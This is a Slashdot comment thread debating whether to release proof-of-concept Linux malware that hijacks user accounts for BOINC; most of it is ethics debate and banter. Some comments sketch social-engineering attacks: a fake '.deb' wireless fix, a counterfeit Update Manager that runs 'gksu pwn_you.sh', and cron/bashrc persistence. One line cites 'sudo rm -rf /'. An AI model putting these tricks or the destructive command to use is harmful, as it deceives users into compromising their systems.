    4. Re:Just in time for Chrome OS by starbugs · · Score: 1

      pretty soon we'll have clueless noobs with their new netbooks running Google's ChromeOS (which they don't know is really Linux because Google is doing everything they can to avoid the "L" word). Now they can get pwned too!!

      Don't you mean GNU/ChromeOS.

      Oh, crap, I'm doing it again. Where are my meds...

    5. Re:Just in time for Chrome OS by Anonymous Coward · · Score: 0

      > Given that, it's also that an arbitrary Windows machine would likely have a more predictable array of software than would a linux machine. That, however, will start to become less true as we become successful at unifying Linux on the Desktop.

      Most Linux distros, BSDs (and recent OSX releases for that matter) have perl preinstalled.

      That should be enough to do spamming, bots, download and verification of new code and all the stuff windows malware typically does. And it'll be pretty much multiplatform for all OSes with perl installed.

      And you can make it polymorphic too ( TMTOWTDI ;) ). If stuff like that ever appears I wonder how the AV people will cope with it.

    6. Re:Just in time for Chrome OS by Anonymous Coward · · Score: 0

      Funny thing....the more successful the virus is, the less likely one may be to hear of it, depending upon your definition of "successful" and the purpose to which the malware is employed, that is.

    7. Re:Just in time for Chrome OS by Anonymous Coward · · Score: 0

      the way it persists itself in autostart is really nasty,

      Which simply shows that the lack of Linux malware isn't because Linux is somehow magically superior, but simply because nobody has taken the time to write any.

      Even better, pretty soon we'll have clueless noobs with their new netbooks running Google's ChromeOS (which they don't know is really Linux because Google is doing everything they can to avoid the "L" word). Now they can get pwned too!!

      If you try to be funny at least get the damn facts right. ChromeOS has no write support.

    8. Re:Just in time for Chrome OS by Anonymous Coward · · Score: 0

      Even better, pretty soon we'll have clueless noobs with their new netbooks running Google's ChromeOS (which they don't know is really Linux because Google is doing everything they can to avoid the "L" word). Now they can get pwned too!!

      Yeah, except that:
      a) ChromeOS is to be locked down so you can't install normal apps, only run web apps
      b) ChromeOS is to use a combination of firmware/checksumming etc. to check the OS has not been altered and replace it if it has.

      Sounds like you're the clueless one.

    9. Re:Just in time for Chrome OS by Simetrical · · Score: 1

      Even better, pretty soon we'll have clueless noobs with their new netbooks running Google's ChromeOS (which they don't know is really Linux because Google is doing everything they can to avoid the "L" word). Now they can get pwned too!!

      Maybe you could explain how this kind of exploit will work on an OS where the user can't actually install anything that doesn't run in a draconian sandbox?

      --
      MediaWiki developer, Total War Center sysadmin
    10. Re:Just in time for Chrome OS by Anonymous Coward · · Score: 0

      Rudy, you and anyone believing your post should have a look at the security design documents for Chrome OS. It's a read-only root with any services (software and daemons) locked inside minijail. On top of that runs , a single browser binary and a couple plugins (flash, etc) which are all sandboxed between themselves. Only firmware should have write-access to the root partition, and then only during as two-phase upgrade process that can fall back to a previous known working and untouched root partition. Any malware will have to live in the web browser configuration only, perhaps as a browser extension. But those extensions are monitored, and any extension that requires dangerous priveleges will get inspected by a human "moderator" that is controlled by G.

  26. Security through obscurity by zill · · Score: 2, Insightful

    I was fed up with the general consensus that Linux is oh-so-secure and has no malware.

    Just because it's a consensus doesn't mean it's correct. As you have demonstrated, it's very much possible to write malware targeted at Linux.

    In fact, there are plenty of viruses and malwares specifically targeted at Linux, and their numbers are rising: http://www.internetnews.com/dev-news/article.php/3601946
    However, because desktop Linux has an extremely small market share, malware for Linux has a correspondingly tiny market share.

    Think of it this way, a few weeks ago you woke up and came up with the idea of writing a piece of potential malware directed at Linux. But there are a hundred who woke up with the same idea, except they wanted to target Windows. In the end, 101 new malwares are born, with only one of them intended to harm Linux systems.

    1. Re:Security through obscurity by jedidiah · · Score: 2, Informative

      ...yes. Malware that has to be manually run.

      How utterly pathetic.

      At least you can say that Windows has one thing on Linux. Installation of Trojans is automated. No end user interaction is required.

      It would be interesting to see how far a manual trojan could get on Linux...

      --
      A Pirate and a Puritan look the same on a balance sheet.
    2. Re:Security through obscurity by roguetrick · · Score: 2, Funny

      Once they develop a conversable chatterbot that targets linux basement dwellers. The bot will say she uses a particular type of webcam software and really wants to show them something.

      --
      -The world would be a better place if everyone had a hoverboard
    3. Re:Security through obscurity by roguetrick · · Score: 1

      Disclaimer: I posted that from my basement on a linux laptop.

      --
      -The world would be a better place if everyone had a hoverboard
    4. Re:Security through obscurity by Anonymous Coward · · Score: 0

      > It would be interesting to see how far a manual trojan could get on Linux...

      Post "ubuntu-wireless-fix_0.0.2_amd64.deb" on a blog somewhere. You will certainly get some bites.

      (Adjust filename based on current pain point in the ubuntu forums.)

    5. Re:Security through obscurity by 0ld_d0g · · Score: 1

      At least you can say that Windows has one thing on Linux. Installation of Trojans is automated. No end user interaction is required.

      Huh? AFAIK Quite a few internet tools on *nix have had arbitrary code execution vulnerabilities. Its no different from Windows.

    6. Re:Security through obscurity by jabberw0k · · Score: 1

      Just because it's [allegedly] a consensus doesn't mean it's correct.

      see also: Global Warming

    7. Re:Security through obscurity by fulldecent · · Score: 1

      >> It would be interesting to see how far a manual trojan could get on Linux...

      Well, just look at how successful the manual .sig virus was on slashdot

      --

      -- I was raised on the command line, bitch

  27. Just release it by cpicon92 · · Score: 1

    As you said in your own post, compromising a linux box isn't impossible. The code you have isn't all that revolutionary, it's just a demo. Anybody with actual malicious intent would likely know how to make a program like this themselves. Another option would be to set up the system on your server but not release the source, you could demonstrate the weaknesses of *nix without putting anybody in any real danger.

    1. Re:Just release it by drooling-dog · · Score: 1

      Releasing the exploit could backfire, though, if it fails to spread widely. From a FUD point of view it's better just to announce that it exists (whether or not it actually does), but won't be released just now because of the author's new-found ethics.

      I say bring it on. I'll give the author my IP address if that makes it any easier.

    2. Re:Just release it by Anonymous Coward · · Score: 0

      I'll give the author my IP address if that makes it any easier.

      Heck, I'll be happy to post mine for the world: 127.5.12.37 Go ahead hackers: Do your best!

    3. Re:Just release it by metrix007 · · Score: 1

      moron.

      --
      If you ignore ACs because they are anonymous - you're an idiot.
  28. no by Anonymous Coward · · Score: 0

    no

  29. Release a paper by Ernesto+Alvarez · · Score: 1

    Get in touch with the security community as some other poster said.

    Then concentrate in releasing a paper about your software. If your techniques are good, they might be an interesting read. Even more important is that if your software does not escalate privileges (as I understand), cleaning your software should be a straightforward job from the superuser account. Those cleaning techniques will probably be even more interesting.

    I'd use a rather obvious payload that reveals itself when interrogated (instead of BOINC) in order to be useful for evaluating system security.

    I don't think your malware is as nasty as you think, as you said you relied on executing downloaded software on a world with signed repositories and with MD5 hashes/pgp signatures as a normal custom. I also think you're underestimating the difference between administrator-all-the-time windows way and the only-escalate-when-needed model of the unix world. It would be interesting to see what happens, though.

  30. Re:If you have to ask, your ethical compass is b0r by interkin3tic · · Score: 5, Funny

    That's like one guy who said "My best friends' girlfriend wants to sleep with me - should I do it so I can show him what a sl*t she is?"

    Of course, why actually sleep with her when you can just brag about her offer on slashdot!

  31. Just include the source and you'll be OK !! TRUST by Anonymous Coward · · Score: 0

    ME !! I will do what's right. Muhahahahahhahahah !!

  32. Thanks Captain! by Anonymous Coward · · Score: 0

    "mindless execution of unverified downloads"

    Thanks Captain Obvious, show me a system that would stand up to an attack in that instance. Any user-privilege activity (cron, editing .bashrc, etc...) is vulnerable if you throw that in the mix.

  33. It does harm!!!! by Anonymous Coward · · Score: 0

    Look at it this way, if you log into your computer only to find that the computer has mysteriously joined Boinc what would you do? You would try to find the source, but when in doubt, probably wipe the partition and re-install. If you worked for a large corporation you might have to file all kinds of reports, alert all kinds of security personnel etc. That 'harmless' prank could cost thousands of dollars.

    Lets put it another way. Even if I left my house door wide open, opened all the windows etc. It still does not give you the right to come in and f*ck with my house.

    I reserve the right to track down anyone that even attempts to break into my house or my computer and kick their ass. I don't give a rats @$$ that you don't like Linux fan boys or whatever the reason for 'why' you did it.

    kdawson - you need to get punched a few times for even rationalizing that it just might be O.K.

    1. Re:It does harm!!!! by sopssa · · Score: 2, Insightful

      Why do everyone suddenly think he means it's going to be targeted randomly on the internet and he will break into peoples computers?

      It's only an example of code that could be created by malicious persons. Purpose is to show people that there is stupid "Linux is 100% secure" thinking among UNIX users and that security needs to be improved there too (or admins should run something like SELinux).

      Of course he isn't going to spread it around and attack peoples computers, because that would be illegal. He's just asking if it's a good thing to release such an example.

    2. Re:It does harm!!!! by Capsaicin · · Score: 2, Insightful

      It's only an example of code that could be created by malicious persons.

      Yes that's correct, the question he is asking basically is "should I educate, &/or provide tools to, malicious persons which will enable them to do this in order to prove my point."

      Purpose is to show people that there is stupid "Linux is 100% secure" thinking among UNIX users and that security needs to be improved there too (or admins should run something like SELinux).

      Yes. All he has to do is balance the good done by showing how stupid some Linux users are against the bad done by enabling malware creation. Which is what he's asking us, collectively, to do for him.

      --
      Better to be despised for too anxious apprehensions, than ruined by too confident a security. --Edmund Burke
    3. Re:It does harm!!!! by buchner.johannes · · Score: 1

      Thank you. You two nailed it.

      --
      NB: The message above might reflect my opinion right now, but not necessarily tomorrow or next year.
    4. Re:It does harm!!!! by mysidia · · Score: 1

      Lets put it another way. Even if I left my house door wide open, opened all the windows etc. It still does not give you the right to come in and f*ck with my house.

      It doesn't give anyone the right to come tamper with your house.

      However, if they walk in a door you opened, they haven't "broken in".

      They're just trespassing (possibly); hopefully you don't have a doormat that says "Welcome", "Come In", or something such as that.

      If you do, then w/ the door held open: you've invited them in.

    5. Re:It does harm!!!! by nhytefall · · Score: 3, Informative

      Negative. Unless I specifically give permission then you still cannot enter. What is so effing hard about that concept for people to grasp?

      --
      0100010001101001011001 0100100000011010010110 1110001000000110000100 1000000110011001101001 0111001001100101
    6. Re:It does harm!!!! by kdemetter · · Score: 2, Interesting

      It could do more damage :

      Boinc is build on voluntary use , meaning a group of people who voluntarily join , making their tiny cpu cycles contribute to a greater goal.
      This malware would force someone to join , which is a bit like forcing someone to do charity work : it's commendable , but only if you really want to do it , otherwise it's abuse .

      If you had boinc mysteriously appear on your pc , i'm sure you will remove it , and many who would have met boinc in better circumstances , would now never install it anymore.

    7. Re:It does harm!!!! by Capsaicin · · Score: 1

      Negative. Unless I specifically give permission then you still cannot enter.

      Surely implied permission will suffice in certain circumstances.

      --
      Better to be despised for too anxious apprehensions, than ruined by too confident a security. --Edmund Burke
    8. Re:It does harm!!!! by Anonymous Coward · · Score: 0

      Original poster is an idiot, along with anyone that assumes its 100% secure. This is just a plea for attention. Major distros release security advisories when necessary. Anyone with enough skill knows this.

      I'm "Fed up" with idiots too, you dont see me devising a plan to kill them.

    9. Re:It does harm!!!! by nhytefall · · Score: 0

      Nope. Telling the police that you are in my home because the door was open will not cause them to say "Oh, okay then." Instead, they will continue to say "Get on the ground with your hands behind your back."

      There is no implied permission to enter private property, only explicit. At worst, it is trespassing. At best, breaking and entering, followed by 5-7 years in a federal prison.

      --
      0100010001101001011001 0100100000011010010110 1110001000000110000100 1000000110011001101001 0111001001100101
    10. Re:It does harm!!!! by Capsaicin · · Score: 1

      There is no implied permission to enter private property, only explicit.

      That is the exact opposite of what I was taught at Law School.

      --
      Better to be despised for too anxious apprehensions, than ruined by too confident a security. --Edmund Burke
    11. Re:It does harm!!!! by Cwix · · Score: 1

      IANAL doesnt apply to you then? Wow, i thought it applied to everyone on slashdot.

      --
      You are entitled to your own opinions, not your own facts.
    12. Re:It does harm!!!! by mysidia · · Score: 1

      It's not a complex concept. It's just a factually incorrect one.

    13. Re:It does harm!!!! by mysidia · · Score: 1

      Only if you lied to the police and told them that the person broke in, but you will definitely have to provide more an explanation than that.

      Or they refused to leave when you told them to.

      The police certainly won't do anything to them unless you actually reported an incident, and made certain representations (which could be true or not, however lying to the police: possibly an even more severe crime than trespass).

      They could show the marketing materials, pamphlets, they were carrying, and the police would not arrest them, once it became clear that they were indeed a salesman trying to get your intention, who happened to walk in an open door (due to the implicit invitation).

      You might even have a case if you caught them rummaging in your pantry -- as that suggests an intent to convert some of your property (even if just a small snack).

      However, simply walking through an open door, is no crime, when there is implicit invitation involved.

      In fact, at many homes... there will be a mostly enclosed screen porch, and it's necessary to pass through an open door just to ring the bell.

    14. Re:It does harm!!!! by fractoid · · Score: 1

      However, if they walk in a door you opened, they haven't "broken in".

      Actually... they have. "Breaking and entering" apparently doesn't require any actual breaking. Of course, if you explicitly opened the door and held it for them, that's implied permission to enter. But if they just left their door open and you wandered in, they can be charged with breaking and entering.

      --
      Rampant carbon sequestration destroyed the Dinosaurs' tropical paradise. I'm here to help repair the damage.
    15. Re:It does harm!!!! by Anonymous Coward · · Score: 0

      or entering, in my experience

    16. Re:It does harm!!!! by Anonymous Coward · · Score: 0

      It's not trespassing unless you make some announcement that entry is forbidden -- posting a sign, verbal notification, etc.

      It's not burglary (breaking and entering) unless I entered unlawfully or with the intent to commit some further crime.

      And generally speaking, if you do not intend to commit a crime, do not bypass any access-control systems, and are not otherwise made aware that entry is forbidden, there is no unlawful entry -- walking through an unattended, open door without a "no trespassing" sign is neither trespassing nor burglary in most common-law jurisdictions.

    17. Re:It does harm!!!! by Capsaicin · · Score: 1

      IANAL doesnt apply to you then? Wow, i thought it applied to everyone on slashdot.

      Yes, amongst other things, IAAL (nor the only one who reads here), but I can say IANAAL (last 'A' for American). And note that what I said it that it was the exact opposite of what I was taught at Law School. I would not presume to tell OP he is wrong in regard to in his own jurisdicition. But in my jurisidiction there are instances where an implied permission to enter property and premises will be presumed. For example, we are allowed to knock on people's doors (unless a sign explicitly negates the legal presumption of implied permission to enter), and where I live, we also have a Fire Service who regularly enter premises without the explicit permission of the occupiers and pull them out to safety (though they probably have, in addition, a statutory right to do so).

      But getting back on topic, this isn't an actual housebreaking. It's a housebreaking HOWTO.

      --
      Better to be despised for too anxious apprehensions, than ruined by too confident a security. --Edmund Burke
    18. Re:It does harm!!!! by dbIII · · Score: 1

      However if anyone is tricked into getting running this you may well become a pariah like the writer of the relatively harmless and easily reversible "DS Bricker" when he released his proof of concept Nintento DS malware. Pointing out the wolves is one thing, putting on their clothing and pretending to bite ankles is another and will get you shot like a wolf.
      Also what exactly are you trying to educate people about here - that users be tricked into running something effectively like bittorrent for someone else, or ssh for someone else, or is it more than that? We all saw the big purple monkey the first time around so I hope there is more to your argument than that. Many have learnt nothing from the growing malware plague but one more bit of malware is unlikely to change that. Consider all the linux rootkits there has been in the past with nasty tricks like compiling their own kernel modules, what do you have that is worse than that and new?

    19. Re:It does harm!!!! by jonrzl · · Score: 1

      I'm not getting into your house if you make me die in a fire.

    20. Re:It does harm!!!! by loutr · · Score: 1

      In France it doesn't work that way. One of my mother's friend witnessed it first-hand : strong guys came and knocked down the door of the house my friend had just bought and was renovating, then left. A third person moved into the house, and there was no way at all to force him to leave because he had not broken the door himself, even though this person had obviously no proof that he possessed or rented the house, and my friend had the property title. He did some research and found an extreme left website which provided instructions on how to take advantage of the law in this manner, going as far as providing a platform for homeless people to get into contact with the guys who would knock down the door.

      A year later the police arrested the man for something completely unrelated (he was a transvestite prostitute), and my friend got his (by then completely destroyed) house back. All he could do was pay for renovation again, there was no way he could sue the person and have him pay the bills.

      Gotta love a country where you can get jailtime for possessing even small amounts of marijuana, but where you can just "steal" a house from someone and thrash it completely without any consequences...

    21. Re:It does harm!!!! by budgenator · · Score: 3, Informative

      It doesn't matter what you do now, some asshat is going to read the description of the "linux malware" reproduce it without bragging about what a l33t script kiddie he is and your going to take the burn for it. As for it being a linux malware

      I was fed up with the general consensus that Linux is oh-so-secure and has no malware.

      I can understand that

      a Linux system can be turned into a botnet client by simply downloading BOINC and attaching it to a user account.

      I'm not sure that having the user specifically install a software package that specifically runs downloaded programs is the same class of malware as windose user are typically plagued by anyways. This is more social engineering than a linux security hole and more of a boinc security problem than a linux problem

      The malware does not exploit any security holes, only loose security configurations and mindless execution of unverified downloads.

      So basically your saying is Linux is oh-so-secure that you have to trick users into installing your malware.

      If executed by the user, the malware can persist itself in cron, bashrc and other files.

      you may be able to install into .bashrc but it's not going to work in cron without privilege escalation or a security hole; usually only widosers mindlessly type in privelged account passwords to install software to run in limited accounts. In fact I'm calling BS on this, you don't have this malware, you just have a plausible idea for it that you've not bothered to implement.

      --
      Apocalypse Cancelled, Sorry, No Ticket Refunds
    22. Re:It does harm!!!! by goarilla · · Score: 1

      you may be able to install into .bashrc but it's not going to work in cron without privilege escalation or a security hole; usually only widosers mindlessly type in privelged account passwords to install software to run in limited accounts. In fact I'm calling BS on this, you don't have this malware, you just have a plausible idea for it that you've not bothered to implement.

      huh, crontab is runnable by normal desktop users in most desktop distro's out of the box anyway

    23. Re:It does harm!!!! by bluefoxlucid · · Score: 1

      Lets put it another way. Even if I left my house door wide open, opened all the windows etc. It still does not give you the right to come in and f*ck with my house.

      I'm more inclined to f*ck with your wife, actually.

    24. Re:It does harm!!!! by BlackSnake112 · · Score: 1

      I hope you either do not have a door mat, or the door mat does not say "welcome". If the door mat does say welcome, that is in invitation to come in.

      My door mat says "go away" just for that reason.

      If I remember right there was a case (I forget if it was home or computer based the case was 20+ years ago) where the criminal said hey it said welcome so I went in.

    25. Re:It does harm!!!! by bluefoxlucid · · Score: 1

      Those involved would have been severely injured if this was me. I'm highly, highly territorial; a person forcibly living in my home would make me extremely paranoid and uncomfortable, I wouldn't be able to sleep or leave the house until I had permanently ejected him. It'd take about 5 minutes for me to assess the situation enough to realize that he's not leaving except by force, at which point my brain would shortcut to causing as much physical harm as possible in quickly increasing magnitude until he left or surrendered.

      It's like moving into a wolf's den, with an angry bitchwolf with pups. Except I'm a bachelor, I'm just paranoid (I hate kids too and would never have my own, ever; I'm not sure I could even allow a girlfriend or spouse to reside in the same home as me).

    26. Re:It does harm!!!! by loutr · · Score: 1

      Then you'd get sued by the intruder...

      And to clarify, my friend didn't live in the house yet because of the renovation, which explains how they could take over the house so easily. And he couldn't have lived with the intruder even if he wanted to, because in the eye of the law the intruder was the inhabitant of the house, not my friend, so he'd have had to ask the intruder the permission to live in his own house !

    27. Re:It does harm!!!! by Anonymous Coward · · Score: 0

      You fail at understanding UNIX or Windows...or people.

    28. Re:It does harm!!!! by toadlife · · Score: 1

      cron would be pretty useless in a multi-user system if multiple users couldn't use it. I actually wrote a shell script that "infected" my FreeBSD box using .*rc files and crontab once. There really is no need to release the software though as the concept is not rocket science. Just write up a description of how it's done. Anyone with UNIX knowledge could replicate it based on the description alone.

      --
      I don't always use unix-like operating systems; but when I do, I prefer FreeBSD.
    29. Re:It does harm!!!! by bluefoxlucid · · Score: 1

      Freddy Krueger oven then. If the intruder is such a threat to my continued livelihood, he's hostile and must be executed.

    30. Re:It does harm!!!! by toadlife · · Score: 1

      I'm not sure that having the user specifically install a software package that specifically runs downloaded programs is the same class of malware as windose user are typically plagued by anyways.

      The vast majority of Windows malware is installed via social engineering. Exploits are certainly used but dancing bunnies and fake virus warnings seem to be easier method for the bot herders out there.

      --
      I don't always use unix-like operating systems; but when I do, I prefer FreeBSD.
    31. Re:It does harm!!!! by goarilla · · Score: 1

      here here but let's be frank except for the BOINC and the proxy
      stuff he's doing stuff most of us have already thoughed about once upon time

    32. Re:It does harm!!!! by Myopic · · Score: 1

      and your going to take the burn for it

      oops! I think you chose the wrong homophone. The word you are looking for is "yore".

    33. Re:It does harm!!!! by Man+Eating+Duck · · Score: 1

      A third person moved into the house, and there was no way at all to force him to leave because he had not broken the door himself

      I find this extremely hard to believe, especially because of its anecdotal nature. The French have no notion of private property? If I run through the door as you exit, you can't have me removed because I didn't break the door? If you hire/ask random criminals to do your dirty work, or benefit from others' criminal behaviour, you are not responsible? How did this third person prove it wasn't him who broke the door?

      All he could do was pay for renovation again, there was no way he could sue the person and have him pay the bills.

      And the French have no protection from vandalism? It's ok to break stuff, for instance furniture or doors, because you can't be prosecuted or sued?

      Gotta love a country [...] where you can just "steal" a house from someone and thrash it completely without any consequences...

      This doesn't ring true. I googled for a while and, as expected, found absolutely nothing to support your story. Do you have links to laws, or even news stories?

      --
      Are you a grammar Nazi? I'm trying to improve my English; please correct my errors! :)
    34. Re:It does harm!!!! by loutr · · Score: 1

      No news story, as there never even was a trial, and I haven't got the time to find links. I guess you'll have to take my word for it, and since it didn't happened to me directly I can't even guarantee that the story is true, but my mother's friend talked about it at length and seemed really distressed.

      Ofc we have a notion of private property, but it can be really hard to evict tenants, IIRC the guy had signed up for electricity in his own name, and the bills "proved" that he lived there. We also have protection from vandalism, but when the vandal is a former homeless person who is now in jail for prostitution, you don't expect him to have any money nor insurance...

    35. Re:It does harm!!!! by Man+Eating+Duck · · Score: 1

      I guess you'll have to take my word for it, and since it didn't happened to me directly I can't even guarantee that the story is true, but my mother's friend talked about it at length and seemed really distressed.

      Frankly I don't believe it, but it's not a big deal :) You just got me curious. Thanks for your answer, there's no reason to discuss this further.

      --
      Are you a grammar Nazi? I'm trying to improve my English; please correct my errors! :)
    36. Re:It does harm!!!! by Anonymous Coward · · Score: 0

      you may be able to install into .bashrc but it's not going to work in cron without privilege escalation or a security hole;

      User crontabs.

    37. Re:It does harm!!!! by mysidia · · Score: 1

      The obvious solution would be to continue the renovations, and make it as unpleasant as possible for someone to try to live there.

      For instance, by not having any utilities installed while the perpetual renovation prevents it.

      By fencing off the place, having the driveway blocked, etc.

    38. Re:It does harm!!!! by budgenator · · Score: 1

      I just checked my Arch Linux and the directories cron.d, cron.hourly, cron.daily, cron.weekly and cron.monthly are all root:root and the permissions are 755 so I can execute anything there with my UID but I can't change or install anything without being root. I know some servers will have cron execute a specific script in the user's home but this is usually done on shared hosting servers.

      --
      Apocalypse Cancelled, Sorry, No Ticket Refunds
    39. Re:It does harm!!!! by Anonymous Coward · · Score: 0

      usually only widosers mindlessly type in privelged account passwords to install software to run in limited accounts.

      So that really leaves us with 2 options in the future... either *nix will stay niche with limited marketshare and fairly savvy users, or it will start to appeal to the Windows crowd and attract people who bring their bad habits with them.

      One other point that's been brought up a few times in this discussion is the idea that *nix users are accustomed to using vetted repos instead of downloading/installing random software. Expect that profile to change too. If *nix ever becomes an OS that you can install on Granny's computer, and she really wants that hot new Hold 'Em game that she saw on that random website... she'll read through their how-to and download it and type in her password to elevate and do everything they tell her she needs to do to install their malware.

    40. Re:It does harm!!!! by toadlife · · Score: 1

      Either you don't fully understand what cron is and how it works or you do and are just putting to much importance into root permissions.

      cron allows any user to schedule jobs on a UNIX system. This is not a feature exclusive to shared hosting servers. Every UNIX system supports this out of the box.

      Regarding root permissions, malware doesn't need root permissions to connect to a botnet, so root doesn't really matter in regards to whether or not malware can latch onto and use a unix system's resources.

      --
      I don't always use unix-like operating systems; but when I do, I prefer FreeBSD.
    41. Re:It does harm!!!! by jimicus · · Score: 1

      I just checked my Arch Linux and the directories cron.d, cron.hourly, cron.daily, cron.weekly and cron.monthly are all root:root and the permissions are 755 so I can execute anything there with my UID but I can't change or install anything without being root. I know some servers will have cron execute a specific script in the user's home but this is usually done on shared hosting servers.

      Have you tried setting up a crontab file as a normal user? Hint: it should work, though it won't live in /etc.

  34. Anonymous for lack of motivation by Anonymous Coward · · Score: 0

    I don't see how social engineering is proof of concept on this one. Mindless execution relies on social engineering, which is how most malware spreads. Put malicious code in a PPS or something like that isn't going to prove the lack of security, unless you cross into the superuser account. By then, it doesn't matter. Mac can be compromised this way. Microsoft has hundreds of thousands of ways this can happen. Linux is just software. This means it is vulnerable. But compare software strength to person strength, that's where you can prove something. Linux has its flaws just like anything else. But if it relies on someone physically executing the code, you can't prove system weakness. Idiot weakness doesn't count.

  35. Smell test by mhall119 · · Score: 5, Insightful

    The claim is that a PHP injection on a web server is going to also infect user-owned tarballs and wine executables and root-owned shell scripts without exploiting a privilege escalation hole? Either his webserver is configured to run as root, or this claim doesn't pass the smell test.

    --
    http://www.mhall119.com
    1. Re:Smell test by Anonymous Coward · · Score: 0

      I think it means tarballs and executables downloaded from the web server to a Linux desktop.

      For example, you could have the compromised web server automatically inject Windows viruses into any .exe files which would install the virus with administrator privileges.

      On Linux, according to the description would modify the script run by "make install" to mess with your system provided you ran it as root. Or if you had an install.sh (VMWare, opera, etc) that needs to run as root. But most people get packages from their distros (which have signed checksums) so I'm not sure how big a problem this would really be.

    2. Re:Smell test by RobbieCrash · · Score: 1

      Aside from all those that use getdeb.net.

      --
      Keep on knockin'
      https://robbiecrash.me
  36. What would ... do ? Or time for a reality check. by stefanlasiewski · · Score: 1, Insightful

    I'm sure there are some people in the computer security world who you admire. So ask yourself, what would these people do if they had discovered the exploits? What would Phil Zimmermann, or DJB do? Some of these people were unhappy with the current situation, and took their own road and created some good, secure software.

    Also, maybe your code isn't as good as you claim. Or maybe it mostly uses known exploits. It's time for a reality check. You should try to find some peers, and discuss it with them to determine how dangerous your product really is.

    --
    "Can of worms? The can is open... the worms are everywhere."
  37. get your nobel prize too by Anonymous Coward · · Score: 0

    kind of like blaming the digital camera for sexting. technology is neutral, its people that are evil

    1. Re:get your nobel prize too by lamapper · · Score: 1

      And the person that pulls the trigger not the gun.

      --
      Is your Internet Throttled? Install DD-Wrt, OpenWRT or Tomato to learn the truth! Google: 1Gbps/1Gbps: 5 Communities
  38. Absolutely evil by ohmiccurmudgeon · · Score: 2, Interesting

    We already know how to break into systems with buffer and heap overflows. We know how to do SQL injection into not-so-smart applications. If you work at it you can break into almost anything.

    Absolutely no good purpose is served providing a toolkit that allows people to break into naively configured systems. Much of what you describe is akin to leaving the keys in your Maserati with the doors unlocked and the engine running. Please don't make things easier for joyriding teenagers.

    If a site wants to know if they're secure, within the current limits of our knowledge, they can perform their own audits, and hire their own advisers to test their systems in a controlled fashion.

    Applications, such as BOINC, have an unknown state of security review or audit. I doubt they applied the coding guidelines of CERT, or any of the Common Criteria levels. An administrator would only deploy such applications in the DMZ of their network. To call a Linux system, or Windoze system, secure means you've evaluated the risk of both the operating system and the applications on that system and decided it is good enough for you.

  39. I would only release it by Orion+Blastar · · Score: 1

    to CERN or some other security group, or to White Hat Hackers who won't release it or use it, but study it and find a way around it.

    I would pass it on to some Linux kernel and Linux OS developers, and see if they can fix the security holes you found that allow the hacking of Linux.

    If you release it into the public for anyone to download, dollars to doughnuts some idiot is going to replace the Bonic client with a packet sniffer or key logger or something else. It is like inventing a rocket or missile and then someone takes it, steals your design, and then places a WMD in the warhead and launches them at public areas. Just like we wouldn't want technology leaked to Iran, Cuba, Syria, Sudan, North Korea, and other places that could use it for better missiles, guidence systems, encryption, etc some cyber terrorists would use your code to use it for espionage on some Linux web servers run by governments and the military because they thought Linux would be more secure than Windows.

    --
    Remember, Slashdot does not have a -1 disagree moderation, and no, troll, flamebait, and overrated are not substitutes.
  40. Link please? by Anonymous Coward · · Score: 0

    It's not real if there is no link.

  41. I'll Help you out... by sjs132 · · Score: 1

    I'll help you out, just send it in a tarball to me, and I'll verify if it works or not. Oh, I'm sure you want to keep it opensource and all, so just put the source in there too... I'll make sure your given proper credit. Thanks. :)

    --
    --- Relax, that mass muderer is just trying to reduce our carbon footprint, one fetus at a time...
    1. Re:I'll Help you out... by Anonymous Coward · · Score: 0

      I'll make sure your given proper credit.

      You'll make sure that my given proper credit will do what? ...This cliff hanger is killing me.

      your != you're

  42. DONT.DO.IT by Pharago · · Score: 1

    yeah, in all it's capitalized glory, that was my opinion right on the title. why so? because there will be time for that, there is enough crappy stuff floating on the intertubes as to release a 'toolkit' that allows to add the whole world of linux servers to the fotm botnet

  43. Some security threat... by Anonymous Coward · · Score: 0

    FTFS: "The malware does not exploit any security holes, only loose security configurations and mindless execution of unverified downloads"

    how is that different than posting a script with "sudo rm -rf /" and asking people to download and execute it?

    I was a windows user for almost ten years. i never used an antivirus or antimalware porgram, and i never had any security problems. 99.9% of security issues are problems between keyboard and chair.

  44. Re:If you have to ask, your ethical compass is b0r by MillionthMonkey · · Score: 2, Insightful

    Well, in general, if you petition a large number of others for advice on a decision you're not sure of, you'll probably be less likely to do something stupid. After all, the general public has a low but well-known level of intelligence, and as an individual you may be stupider than that yourself.

  45. Re:If you have to ask, your ethical compass is b0r by bzipitidoo · · Score: 4, Funny

    Yeah, really! Ethics is easy!

    Will releasing it make you money? No? Then don't do it.

    See how easy that was?

    --
    Intellectual Property is a monopolistic, selfish, and defective concept. It is "tyranny over the mind of man"
  46. Obscurity by thecoolbean · · Score: 1

    Security through obscurity isn't. Publish.

  47. Easy. by nhytefall · · Score: 2, Interesting

    Since, despite the popular belief, the idea of a grey/black/white hacker being distinct solely because of intent is, at best, a falsity, the idea that one could release something with the potential of being as destructive as TFS claims is a no-brainer.

    The answer is no. Under no circumstances should the package be released.

    Because, to release the code is no different than than saying "I only illegally accessed your systems, Mr. FBI, to show you how it could be done. I am honest little boy/girl".

    --
    0100010001101001011001 0100100000011010010110 1110001000000110000100 1000000110011001101001 0111001001100101
    1. Re:Easy. by trouser · · Score: 1

      You are a boy/girl?! Pictures or it's not true.

      --
      Now wash your hands.
  48. Malware and Worms in GNU/Linux and *BSD by melikamp · · Score: 4, Interesting

    Its whole purpose is to help white-hat hackers point out that a Linux system can be turned into a botnet client

    It would be nice to see the code. As it stands, I am surprised that this "news" made it this far, with no links of any kind.

    No one credible claims that malware is impossible in GNU/Linux or *BSD. In fact, since UNIX is a much more robust networking OS, maintaining a botnet should be helluva lot easier than on Windows. What we have with a free OS, though, is something that proprietary OS users will never have: a complete and total control over our security policy and every other aspect of our software environment. When and if a vector is identified, our security policy will promptly change to nip it in the bud.

    A Speculative Example

    Lately I've been thinking about one major vector: the human-assisted privilege escalation. Take the latest Ubuntu and imagine a piece of software which runs with user privileges and does the following: it tricks the user into thinking that it is the automatic updater. Lacking in both expertise and time, I am not going to do a proof of concept, but how hard can it be? You just need to draw a window named "Update Manager" using the standard Gnome API, list a few bogus updates anyone would find legit, with version number irrelevant to their day-to-day life (e.g. binutils), wait for the user to click [Install Updates], and then "gksu pwn_you.sh". The user will enter the password, and your work is done. Then, of course, you still need to draw some progress bars to lull the user into believing that an update is going on, but that's all just an icing on the cake.

    If anyone can see why this won't work, I would like to hear it.

